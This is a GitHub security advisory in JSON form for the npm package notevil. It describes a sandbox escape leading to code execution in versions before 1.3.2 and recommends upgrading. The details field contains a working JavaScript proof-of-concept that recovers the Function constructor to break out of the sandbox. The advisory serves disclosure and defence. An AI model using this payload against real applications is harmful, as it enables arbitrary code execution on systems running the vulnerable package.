{"id":"GHSA-7r5f-7qr4-pf6q","summary":"Sandbox Breakout / Arbitrary Code Execution in notevil","details":"Versions of `notevil` prior to 1.3.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to prevent access to the `Function` constructor by not checking the return values of function calls. This allows attackers to access the Function prototype's constructor leading to the Sandbox Escape. An example payload is:  \n```\nvar safeEval = require('notevil')\nvar input = \"\" + \n\"function fn() {};\" + \n\"var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;\" + \n\"var properties = Object.values(constructorProperty);\" + \n\"properties.pop();\" + \n\"properties.pop();\" + \n\"properties.pop();\" + \n\"var Function = properties.pop();\" + \n\"(Function('return this'))()\"; \nsafeEval(input)```\n\n\n## Recommendation\n\nUpgrade to version 1.3.2 or later.","modified":"2020-08-31T18:47:00Z","published":"2020-09-03T19:03:33Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2020-08-31T18:47:00Z","nvd_published_at":null,"cwe_ids":[],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://www.npmjs.com/advisories/1093"}],"affected":[{"package":{"name":"notevil","ecosystem":"npm","purl":"pkg:npm/notevil"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.3.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-7r5f-7qr4-pf6q/GHSA-7r5f-7qr4-pf6q.json"}}],"schema_version":"1.9.0"}